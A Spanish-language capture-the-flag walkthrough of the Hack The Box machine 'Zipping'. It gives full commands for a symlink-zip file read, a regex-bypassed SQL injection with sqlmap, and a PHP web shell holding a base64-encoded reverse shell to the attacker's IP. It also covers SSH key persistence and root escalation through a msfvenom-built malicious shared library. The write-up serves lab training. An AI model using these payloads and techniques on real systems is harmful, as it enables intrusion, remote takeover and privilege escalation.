Description
Zipping es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inyección SQL en aplicación web permitiendo leer código fuente y escritura de archivos
- Enumeración de código fuente lleva a la descubrimiento de una vulnerabilidad de Inclusión de Archivos Locales
- Vulnerabilidades anteriores permiten Ejecución de Comando Remoto
- Escalada de Privilegios a través de una biblioteca maliciosa cargada desde un binario permitido ejecutar con SUDO
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.229.
$ ping -c 3 10.10.11.229
PING 10.10.11.229 (10.10.11.229) 56(84) bytes of data.
64 bytes from 10.10.11.229: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.10.11.229: icmp_seq=2 ttl=63 time=42.8 ms
64 bytes from 10.10.11.229: icmp_seq=3 ttl=63 time=43.5 ms
--- 10.10.11.229 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 42.775/43.329/43.736/0.405 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.10.11.229 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.229
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Luego realizamos un escaneo más avanzado, con versiones de servicios y scripts.
$ nmap 10.10.11.229 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.229
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds
Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio zipping.htb al archivo /etc/hosts.
$ echo '10.10.11.229 zipping.htb' | sudo tee -a /etc/hosts
En el servicio web encontramos una Tienda de Relojes, en la cual si hacemos clic en el botón Work with Us, podemos subir un archivo. El archivo se envía mediante una solicitud HTTP POST al endpoint upload.php con un tipo de contenido multi-part y el contenido del archivo .zip como parámetro zipFile.
Podemos subir solo archivos .zip que contengan un archivo .pdf dentro. Después de subir un archivo de prueba, encontramos que el archivo .pdf se sube en el directorio /uploads/<string_hexadecimal>/<nombre_del_pdf>.pdf. Dentro de los archivos .zip se permiten enlaces simbólicos, por lo que podemos intentar subir como prueba de concepto un enlace simbólico que apunte al archivo /etc/passwd para ver si se muestra.
$ ln -s /etc/passwd passwd.pdf
$ zip --symlinks passwd.zip passwd.pdf
Explotación
De hecho la vulnerabilidad está funcionando y el archivo /etc/passwd se muestra, con dos usuarios de terminal: root y rektsu.
$ curl -s http://zipping.htb/uploads/10b01ae24e213fe106c75bbe4df4a5f8/passwd.pdf | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
Enumerando el contenido del sitio web encontramos la tienda en el enlace /shop. El archivo .php utilizado en esta página es index.php y para un producto se utiliza el enlace /shop/index.php?page=product&id=2. Vamos a recuperar el contenido del archivo index.php utilizando la vulnerabilidad anterior y asumiendo que la raíz del sitio web de la tienda está en el directorio /var/www/html/shop, ya que el servidor es Apache2.
$ ln -s /var/www/html/shop/index.php index.pdf
$ zip --symlinks index.zip index.pdf
$ curl -s http://zipping.htb/uploads/0f60ea65aa46390f64a9c3a2fbb5cd86/index.pdf
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
Encontramos que index.php está tomando el parámetro page y está incluyendo en la página web el archivo <page_parameter>.php. Esto sería vulnerable a Inclusión de Archivo Local y luego a la vulnerabilidad de Ejecución de Comando Remoto si pudiéramos subir archivos .php arbitrarios. Podemos enumerar el archivo product.php.
$ ln -s /var/www/html/shop/product.php product.pdf
$ zip --symlinks product.zip product.pdf
$ curl -s http://zipping.htb/uploads/207bfdc2afa8ee47fe7be9f6b5b47423/product.pdf
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
...
Revisando el código fuente, encontramos claramente una consulta SQL vulnerable a inyección SQL, dentro del parámetro id. Pero se realiza una comprobación utilizando una expresión regular (preg_match) para evitarlo. El alcance de la función es solo comprobar una línea, por lo que si introducimos varias líneas en el parámetro, por ejemplo utilizando saltos de línea (%0a), esta comprobación se evita. Comprobamos que al final de la expresión regular hay un número, por lo que necesitamos usarlo al final de la consulta inyectada. Para explotar la vulnerabilidad podemos usar la herramienta sqlmap con las opciones --prefix y --suffix. Necesitamos usar los símbolos ' para cerrar las consultas.
$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2
...
[INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable
...
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
...
sqlmap identified the following injection point(s) with a total of 162 HTTP(s) requests:
---
Parameter: id (GET)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: page=product&id=1
';SELECT SLEEP(5)'-- 1
---
...
Podemos usar esta vulnerabilidad para enumerar el usuario que está ejecutando la base de datos.
$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2 --current-user
...
current user: 'root@localhost'
...
Encontramos que el usuario MySQL que está ejecutando la base de datos es root, esto significa que podemos intentar si podemos subir un archivo para obtener Ejecución de Comando Remoto. Para ejecutar comandos SQL podemos usar la opción --sql-shell. Sabemos que MySQL tiene permisos de escritura en el directorio /var/lib/mysql/. Vamos a agregar el valor %00 al nombre del archivo para no agregar la parte del sufijo de la consulta.
$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2 --sql-shell
sql-shell> select '<?php system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzEyMzQgMD4mMQ==|base64 -d|bash"); ?>' INTO OUTFILE '/var/lib/mysql/shell.php%00';
Ahora podemos activar la vulnerabilidad LFI+RCE que descubrimos anteriormente.
$ nc -nvlp 1234
$ curl http://zipping.htb/shop/index.php?page=/var/lib/mysql/shell
Recibimos una terminal inversa como el usuario rektsu, actualizamos la shell.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.229] 52352
bash: cannot set terminal process group (1131): Inappropriate ioctl for device
bash: no job control in this shell
rektsu@zipping:/var/www/html/shop$ id
id
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
rektsu@zipping:/var/www/html/shop$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
rektsu@zipping:/var/www/html/shop$ ^Z
$ stty raw -echo; fg
$ reset xterm
rektsu@zipping:/var/www/html/shop$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos que rektsu puede ejecutar un comando como usuario root, /usr/bin/stock.
rektsu@zipping:/var/www/html/shop$ cd /home/rektsu
rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
Es un archivo binario.
rektsu@zipping:/home/rektsu$ file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped
Vamos a crear una clave SSH para poder spawnar una terminal estable y recuperar este archivo binario utilizando SCP. En nuestra máquina:
$ ssh-keygen -t rsa -b 1024 -f id_rsa
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDMKVeDl8lr1+23s4Jj3llfUS8driDqp8BSTgvE5ZPXin84d75m8nt+RUGLbq2Y9TnnOnCOfm6laTN9s8dohw0eKLoRfSIe4kLViEgEpKkrjzGY5p6BlpSZ62ZfJe+mmuqYERnOFp7xZs6OumJN9Cv2FsHrFTtMeXOE9HscpVuLSQ== user@localhost
En la máquina remota:
rektsu@zipping:/home/rektsu$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDMKVeDl8lr1+23s4Jj3llfUS8driDqp8BSTgvE5ZPXin84d75m8nt+RUGLbq2Y9TnnOnCOfm6laTN9s8dohw0eKLoRfSIe4kLViEgEpKkrjzGY5p6BlpSZ62ZfJe+mmuqYERnOFp7xZs6OumJN9Cv2FsHrFTtMeXOE9HscpVuLSQ== user@localhost' >> /home/rektsu/.ssh/authorized_keys
Recuperamos el archivo.
$ scp -i id_rsa rektsu@zipping.htb:/usr/bin/stock .
Cuando ejecutamos el archivo, está solicitando una contraseña.
rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock
Enter the password: 12345
Invalid password, please try again.
Al ejecutar un análisis simple de strings encontramos que la contraseña es St0ckM4nager.
$ strings stock
/lib64/ld-linux-x86-64.so.2
...
Hakaize
St0ckM4nager
Con el programa, somos capaces de ver y editar el inventario.
rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 1
================== Stock Actual ==================
Colour Black Gold Silver
Amount 4 15 5
Quality Excelent Average Poor
Amount 4 15 5
Exclusive Yes No
Amount 4 19
Warranty Yes No
Amount 4 19
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Con el programa strace podemos rastrear las llamadas al sistema que el programa está realizando cuando está en ejecución.
rektsu@zipping:/home/rektsu$ strace /usr/bin/stock
...
write(1, "Enter the password: ", 20Enter the password: ) = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024) = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
Encontramos que está intentando cargar la biblioteca /home/rektsu/.config/libcounter.so cuando se ejecuta, pero no se encuentra en el sistema. Podemos utilizar esto para crear una biblioteca maliciosa .so que el programa ejecutará para crear un binario Bash SUID y ganar permisos completos sobre el sistema. Comenzamos creando la biblioteca y subiendo la biblioteca maliciosa al sistema.
$ msfvenom -p linux/x64/exec CMD='cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash' -f elf-so > libcounter.so
$ scp -i id_rsa libcounter.so rektsu@zipping.htb:/home/rektsu/.config/libcounter.so
Entonces podemos volver a ejecutar el binario en el sistema remoto y se creará el binario Bash y podremos desplegar una terminal root.
rektsu@zipping:~$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
rektsu@zipping:~$ ls -l /tmp/suid-bash
-rwsr-xr-x 1 root root 1433736 /tmp/suid-bash
rektsu@zipping:~$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1001(rektsu) gid=1001(rektsu) euid=0(root) groups=1001(rektsu)
Flags
En la terminal root podemos recuperar el contenido de los archivos user.txt y root.txt.
suid-bash-5.2# cat /home/rektsu/user.txt
2246198d31032be44dace70a959ff8e9
suid-bash-5.2# cat /root/root.txt
17b1efc55145a5bead5d9678c8a3bb1b